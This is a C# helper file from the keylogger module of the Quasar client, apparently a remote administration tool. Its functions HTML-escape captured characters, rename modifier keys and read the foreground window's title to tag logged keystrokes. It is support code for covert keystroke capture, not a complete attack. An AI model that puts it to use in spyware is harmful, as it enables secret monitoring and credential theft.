Quasar/Client/Core/Keylogger/LoggerHelper.cs

57 lines
1.5 KiB
C#

using System.Text;
namespace xClient.Core.Keylogger
{
public class LoggerHelper
{
public static string Filter(char key)
{
if ((int)key < 32) return string.Empty;
switch (key)
{
case '<':
return "&lt;";
case '>':
return "&gt;";
case '#':
return "&#35;";
case '&':
return "&amp;";
case '"':
return "&quot;";
case '\'':
return "&apos;";
case ' ':
return "&nbsp;";
}
return key.ToString();
}
public static string GetDisplayName(string key)
{
if (key.Contains("ControlKey"))
return "Control";
else if (key.Contains("Menu"))
return "Alt";
else if (key.Contains("Win"))
return "Win";
else if (key.Contains("Shift"))
return "Shift";
return key;
}
public static string GetActiveWindowTitle()
{
StringBuilder sbTitle = new StringBuilder(1024);
WinApi.ThreadNativeMethods.GetWindowText(WinApi.ThreadNativeMethods.GetForegroundWindow(), sbTitle,
sbTitle.Capacity);
string title = sbTitle.ToString();
return (!string.IsNullOrEmpty(title)) ? title : null;
}
}
}